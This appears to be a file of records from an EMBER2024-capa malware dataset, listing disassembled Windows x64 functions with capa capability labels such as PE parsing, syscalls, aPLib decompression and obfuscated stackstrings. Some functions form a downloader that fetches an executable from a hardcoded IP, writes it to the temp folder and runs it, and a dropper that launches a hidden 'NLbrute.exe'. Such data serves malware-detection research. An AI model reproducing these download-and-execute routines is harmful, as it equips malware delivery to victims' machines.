joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140043d30
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rsi
sub rsp, 0x450
mov rax, qword [0x140060040]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rsi, qword [0x1400617c8]
movabs rcx, 0x7ffffffdfffd
mov rbx, qword [rsi + 0x40]
mov rax, qword [rbx]
add rax, 0xfffffffffffeffff
cmp rax, rcx
ja 0x140043f25
cmp byte [rbx + 8], 0
jne 0x140043f25
cmp byte [rbx + 0xa], 0
jne 0x140043f25
cmp byte [rbx + 0x49], 0
jne 0x140043f25
cmp byte [rbx + 0x48], 0
jne 0x140043f25
cmp dword [rbx + 0x4c], 1
jne 0x140043f25
mov qword [r11 + 8], rbp
mov qword [r11 + 0x10], rdi
lea rdi, [rsi + 0x80]
cmp qword [rdi + 0x18], 0xf
mov rcx, rdi
mov rbp, qword [rdi + 0x10]
jbe 0x140043dca
mov rcx, qword [rdi]
cmp rbp, 3
jne 0x140043e38
mov r8, rbp
lea rdx, [0x140054ef0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140043e38
cmp byte [rbx + 9], al
je 0x140043df9
mov ecx, 1
call fcn.1400412a0
xor ecx, ecx
call fcn.140040c70
mov ecx, socket
call fcn.140040df0
movd xmm0, dword [rsi + 0x28]
movss xmm1, dword [0x140055790]
cvtdq2ps xmm0, xmm0
call fcn.140043140
cvttss2si ecx, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, socket
call fcn.140041050
xor ecx, ecx
call fcn.1400412a0
jmp 0x140043f15
cmp qword [rdi + 0x18], 0xf
jbe 0x140043e42
mov rdi, qword [rdi]
cmp rbp, 4
jne 0x140043f15
mov r8, rbp
lea rdx, str.BPro
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140043f15
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
lea rdx, str.km.press_r__r_n
lea rcx, [rsp + 0x40]
call fcn.140048600
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140043e95
mov rax, qword [rsi + 0xf8]
cmp rax, 0xffffffffffffffff
je 0x140043f15
mov rcx, qword [rsi + 0xf8]
lea rdx, [rsp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_ClearCommError]
test eax, eax
je 0x140043edd
cmp dword [rsp + 0x30], 0
jbe 0x140043edd
mov rcx, qword [rsi + 0xf8]
mov edx, 5
call qword [sym.imp.KERNEL32.dll_PurgeComm]
mov rcx, qword [rsi + 0xf8]
lea rax, [rsi + 0x168]
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov r8d, ebx
mov dword [rsp + 0x34], 0
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140043f15
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbp, qword [rsp + 0x460]
mov rdi, qword [rsp + 0x468]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14004a5e0
mov rbx, qword [rsp + 0x470]
add rsp, 0x450
pop rsi
ret
Function at 0x140049cd4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140049d0e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140049d13
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140049d5c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14004dba0]
cmp byte [rcx + rax], 0
je 0x140049d5c
dec r8
sub rdx, 1
jne 0x140049d42
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14004a34c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.140049d74
mov ebx, eax
test eax, eax
jne 0x14004a37c
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x14004a3df
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14004a3d6
test al, 0x10
je 0x14004a3d6
bt eax, 0xa
jae 0x14004a3cf
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.14004a3f0
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x14004a3cb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14004a3cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x14004a3d6
and dword [rsp + 0x3c], 0
jmp 0x14004a3db
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14004b358
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004b3a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004b3a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004b3a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004b3a2
cmp dword [rcx + 0x84], 0xe
jbe 0x14004b3a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004b3a4
xor al, al
add rsp, 0x28
ret
Function at 0x140001a70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001be4
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1409eca41]
jmp 0x140001ad6
mov byte [0x1409eca41], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1409eca20]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001be4
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x82
mov byte [rsp + 0x21], 0x7d
mov byte [rsp + 0x22], 0x75
mov byte [rsp + 0x23], pe_nt_image_headers64
mov byte [rsp + 0x24], 0x7b
mov byte [rsp + 0x25], 0x87
mov byte [rsp + 0x26], 0x79
mov byte [rsp + 0x27], 0x7f
mov byte [rsp + 0x28], 0x7a
mov byte [rsp + 0x29], pe_nt_image_headers64
mov byte [rsp + 0x2a], 0x88
mov byte [rsp + 0x2b], 0x75
mov byte [rsp + 0x2c], 0x7b
mov byte [rsp + 0x2d], 0x7d
mov byte [rsp + 0x2e], 0x88
mov byte [rsp + 0x2f], 0x7f
mov byte [rsp + 0x30], 0x7a
mov byte [rsp + 0x31], pe_nt_image_headers64
mov byte [rsp + 0x32], 0x7c
mov byte [rsp + 0x33], 0x76
mov byte [rsp + 0x34], 0x74
mov byte [rsp + 0x35], 0x81
mov byte [rsp + 0x36], 0x88
mov byte [rsp + 0x37], 0x89
mov byte [rsp + 0x38], 0x78
mov byte [rsp + 0x39], 0x8b
mov byte [rsp + 0x3a], 0x81
mov byte [rsp + 0x3b], 0x8a
mov byte [rsp + 0x3c], 0x7b
mov byte [rsp + 0x3d], 0x77
mov byte [rsp + 0x3e], 0x88
mov byte [rsp + 0x3f], 0x7f
mov byte [rsp + 0x40], 0x13
cmp byte [0x1409eca00], 0
jne 0x140001bbf
mov byte [0x1409eca41], 1
mov eax, 0
lea rcx, [0x1409eca20]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001b9e
mov byte [0x1409eca00], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1409eca41], 0
je 0x140001aa8
lea rax, [0x1409eca20]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x140001bd3
jmp 0x140001aa1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140006f10
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140006f40
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x140006f3f
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140006f45
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x140006f3f
mov eax, 0
jmp 0x140006f3f

Function at 0x1400075c0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140007570
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140010be0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140019720
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140019720
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140010c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1409ecdf4]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140010de0
mov rax, qword [0x1409ecdf8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x140010c9c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x140010d25
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x140010c80
mov rcx, rdi
call fcn.1400117b0
test rax, rax
mov r12, rax
je 0x140010e32
mov rax, qword [0x1409ecdf8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.1400118f0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1409ecdf8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140010e15
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140010d1e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140010d90
add dword [0x1409ecdf4], 1
cmp ebx, 8
jae 0x140010d51
test bl, 4
jne 0x140010df0
test ebx, ebx
je 0x140010d46
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140010e04
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x140010d46
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x140010d6a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x1409ecdf8]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140010d1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140010be0
xor esi, esi
jmp 0x140010ca7
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x140010d46
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x140010d46
mov rax, qword [0x1409ecdf8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140010be0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140010be0
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140011400
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1409ece60]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1409ece40]
test rbx, rbx
je 0x140011454
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14001144b
test rsi, rsi
je 0x14001144b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140011430
lea rcx, [0x1409ece60]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400117b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409e6930]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14001181f
mov rcx, r9
call fcn.140011680
test eax, eax
je 0x14001181f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14001181d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140011814
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14001181f
add rdx, 0x28
cmp rdx, r9
jne 0x140011800
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001bbd0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409e2d20]
jmp 0x1400125e0

Function at 0x14001bbe0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409e2d20]
jmp 0x1400125e0
Function at 0x140684058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406841df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140684089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14068406f
add dl, dl
jne 0x140684096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406840f6
xor eax, eax
add dl, dl
jne 0x1406840a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406841ad
add dl, dl
jne 0x1406840b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406840c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406840d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406840dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406840ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14068407e
mov eax, 1
add dl, dl
jne 0x140684106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140684113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406840fb
sub eax, ebx
mov ebx, 1
jne 0x14068414c
mov ecx, 1
add dl, dl
jne 0x14068412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14068413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140684123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140684168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140684175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14068415d
cmp eax, 0x7d00
jae 0x14068419b
cmp eax, 0x500
jb 0x140684196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068407e
cmp eax, 0x7f
ja 0x14068419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14068407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406841d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14068407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001ce4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14002e040]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rcx + 0x18], 7
jbe 0x140001d0c
mov rcx, qword [rcx]
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001d41
xor al, al
jmp 0x140001d80
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
mov r8d, 0x12a00
lea rdx, [0x14002ec90]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001d7d
cmp dword [rsp + 0x40], 0x12a00
jne 0x140001d7d
mov dil, 1
mov al, dil
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400059c0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140001da0
Capabilities:
Create http request
Create process on windows
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x588]
sub rsp, 0x680
mov rax, qword [0x14002e040]
xor rax, rsp
mov qword [rbp + 0x570], rax
lea rdx, [rsp + 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str.sysctemapp.exe
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
and dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x140001f24
and qword [rsp + 0x28], 0
lea rdx, str.http:__176.111.174.140_Diamotrix.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x84000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x140001e62
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001f24
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rdi
cmp rax, 0xffffffffffffffff
jne 0x140001ec9
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001e54
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140001ee5
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
lea rdx, [rbp + 0x170]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rbp + 0x170]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001ea1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x28], 5
lea r8, [rbp + 0x60]
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.1400059c0
lea r11, [rsp + 0x680]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001f4c
Capabilities:
Create process on windows
Create process suspended
Get common file path
Set file attributes

Disassembly:
push rbp
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x14002e040]
xor rax, rsp
mov qword [rbp + 0x210], rax
call fcn.1400022f0
mov rcx, rax
call fcn.14000256c
call fcn.1400022f0
mov rcx, rax
call fcn.14000256c
call fcn.140001da0
xor r9d, r9d
lea rax, [rbp]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002080
xorps xmm0, xmm0
lea rdx, str.NLbrute.exe
xorps xmm1, xmm1
lea rcx, [rsp + 0x68]
mov r8d, 0xb
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
call fcn.1400025f8
lea rcx, [rsp + 0x68]
call fcn.140001ce4
cmp qword [rbp - 0x80], 7
lea rcx, [rsp + 0x68]
mov edx, 2
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edx, edx
mov dword [rbp - 0x70], 0x68
lea rcx, [rbp - 0x68]
lea r8d, [rdx + 0x60]
call fcn.14001dbc0
cmp qword [rbp - 0x80], 7
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x68]
cmova rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
xor r9d, r9d
and qword [rsp + 0x38], 0
xor r8d, r8d
and qword [rsp + 0x30], 0
xor edx, edx
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140002074
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x68]
call fcn.140002114
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.1400059c0
add rsp, 0x320
pop rbp
ret
Function at 0x140004728
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140004756
xor eax, eax
jmp 0x14000483c
cmp qword [rcx + 0x68], 0
je 0x140004767
call fcn.140004858
jmp 0x14000483c
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000477e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004780
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400047b2
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14001d520
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140004836
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400047e9
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140004812
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000c504
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140004836
cmp rsi, rbx
ja 0x1400047f0
test rsi, rsi
je 0x140004836
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000c504
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140006364
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400063ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400063ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400063ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400063ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400063ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400063b0
xor al, al
add rsp, 0x28
ret
Function at 0x14000eb48
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000ebb7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ebb7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ebb7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ebb7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ebb7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ebb7
cmp dword [rcx + 0xf8], 0
je 0x14000ebb7
mov ecx, ebx
call fcn.14000ec68
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000ea44
nop
cmp dword [rbp + 0x20], 0
je 0x14000ec05
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000ec10
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000eb48

Function at 0x14000ed4c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000eb48